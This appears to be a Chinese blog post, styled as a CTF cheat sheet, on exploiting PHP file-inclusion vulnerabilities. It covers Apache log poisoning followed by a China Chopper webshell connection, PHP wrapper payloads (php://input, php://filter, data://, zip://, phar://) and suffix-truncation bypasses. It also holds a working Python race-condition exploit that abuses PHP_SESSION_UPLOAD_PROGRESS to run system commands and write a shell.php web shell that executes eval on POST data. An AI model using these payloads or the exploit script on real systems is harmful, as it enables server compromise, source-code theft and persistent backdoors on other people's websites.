PHP文件包含函数

  • include() \执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require() \只要程序一运行就包含文件,找不到被包含文件时会产生致命错误,并停止脚本执行
  • include_once() \若文件中代码已被包含,则不会再次被包含
  • require_once() \若文件中代码已被包含,则不会再次被包含

php的ini

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

日志包含

  当访问一个不存在的资源时,Apache同样会记录下来,这就意味着,如果网站存在包含漏洞,却没有可以包含的文件时(通常指的是网页中的木马文件),就可以去访问URL:http://www.any.com/<?php phpinfo();?>,虽然说网页上提示您没有访问的权限,但是Apache会记录我们的请求“<?php phpinfo();?>”,并写到access.log文件中,这时候再去包含Apache的日志文件,不就可以利用文件包含了吗?

  但实际上是不行的,原因是访问URL后,一句话在日志文件里“变形了”,我们需要抓包 将浏览器所转的编码改回原来的字符(<,>还有空格都会被转义 所以需要抓包更改回来 )
然后中国菜刀连接日志文件就可以获取到网站webshell

  • 常用日志目录:

    • /var/log/

php伪协议

  • file://

    • php5.2以上
    • allow_url_fopen: off/on
    • allow_url_include: off/on
    • 说明:file:// 文件系统是 PHP使用的默认封装协议,展现了本地文件系统
    • 用法:

      • ?file=file://路径/xx.txt
  • php://

    • php5.2以上
    • allow_url_fopen: off/on
    • allow_url_include: 仅php://input php://stdin php://memory php://temp 需要on
    • 作用:作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
    • 分类:

      • php://input
         可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。

        • 用法:php://input + [POST DATA]执行php代码
        http://127.0.0.1/include.php?file=php://input
        [POST DATA部分]
        <?php phpinfo(); ?>
      • php://output
         只写的数据流,允许以print和echo一样的方式写入到输出缓冲区。
      • php://fd
         (>=5.3.6)允许直接访问指定的文件描述符.例如php://fd/3 引用了文件描述符 3。
      • php://memory php://temp
         (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
      • php://filter  (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

        • 参数:

          • resource=<要过滤的数据流>:必须项。它指定了你要筛选过滤的数据流。
          • read=<读链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符( )分隔。
          • write=<写链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符()分隔。
          • <; 两个链的过滤器>:任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
        • 过滤器:

          • string.rot13 等同于str_rot13(),rot13变换
          • string.toupper 等同于strtoupper(),转大写字母
          • string.tolower 等同于strtolower(),转小写字母
          • string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
        • 转换过滤器:

          • convert.base64-encode & convert.base64-decode 等同于base64_encode()和base64_decode(),base64编码解码
          • convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
        • 用法:php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)
        http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • zip:// & bzip2:// & zlib://

    • php5.2以上
    • allow_url_fopen: off/on
    • allow_url_include: off/on
    • 说明:fzip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。\
    • 用法:

      • zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip,压缩包重命名为 phpinfo.jpg ,并上传
      http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
      • compress.bzip2://file.bz2 压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
      http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
      • compress.zlib://file.gz 压缩 phpinfo.txt 为 phpinfo.gz并上传(同样支持任意后缀名)
      http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
  • data://

    • php5.2以上
    • allow_url_fopen: on
    • allow_url_include: on
    • 说明:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
    • 用法:

      • data://text/plain, or data:text/plain,
      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
      • data://text/plain;base64, or data:text/plain;base64,
      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
  • http:// and https://

    • allow_url_fopen: on
    • allow_url_include: on
    • 用法:
    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
  • phar:// 协议

    • phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:
    http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

seesion包含+条件竞争

PHPSESSID必须要有,因为要竞争同一个文件
filename可控,但是在值的最前面加上|,因为最终目的是利用session的反序列化,PHP_SESSION_UPLOAD_PROGRESS只是个跳板。其次把字符串中的双引号转义,以防止与最外层的双引号冲突
上传的文件要大些,否则很难竞争成功。我写入是这么大f = io.BytesIO(b'a' 1024 1024*1)

exp

import requests
import re
import threading
import io
import sys

seesion_id="xxx"
url="http://domain:port/"
def Write(session):
    while True:
        f=io.BytesIO(b'a'*1024*50)
        res = session.post(
            url=url,
            data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat ../*');fputs(fopen('shell.php','w'),'<?php @eval($_POST[QQQ])?>');?>"},
            files={"file":('q.txt',f)},
            cookies={'PHPSESSID':seesion_id}
            )

def Read(session):
    while True:
        resp=session.get(url+'upload/index.php') #访问的链接
        if 'flag' not in resp.text:
            print('[+++]retry')
        else:
            print(resp.text)
            sys.exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=Write , args=(session, ))
    t1.daemon = True
    t1.start()
    Read(session)

绕过技巧

当碰到后缀名写死的情况 如:

<?php
   
   $file = $_GET['name'];
   if(isset($file)){
       include($file . ".txt");//只让我们包含txt文件
   }

?>

%00 截断 (特定版本)

  • 条件:magic_quotes_gpc = Off php版本<5.3.4
  • 如:?name=http://127.0.0.1/ss.php%00

路径长度截断

  • 条件:windows OS,点号需要长于256;linux OS 长于4096
  • Windows下目录最大长度为256字节,超出的部分会被丢弃; Linux下目录最大长度为4096字节,超出的部分会被丢弃。
  • exp:

    ?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断

  • 条件:windows OS,点号需要长于256
  • exp:

    filename=test.txt.........................................

问号绕过

  • 属于伪截断,不受GPC和PHP版本限制(<5.2.8)
  • exp ?filename=http://127.0.0.1/php.txt?

号绕过

  • ?filename=http://127.0.0.1/php.txt#
Last modification:May 3rd, 2021 at 05:42 pm
如果觉得我的文章对你有用,请随意赞赏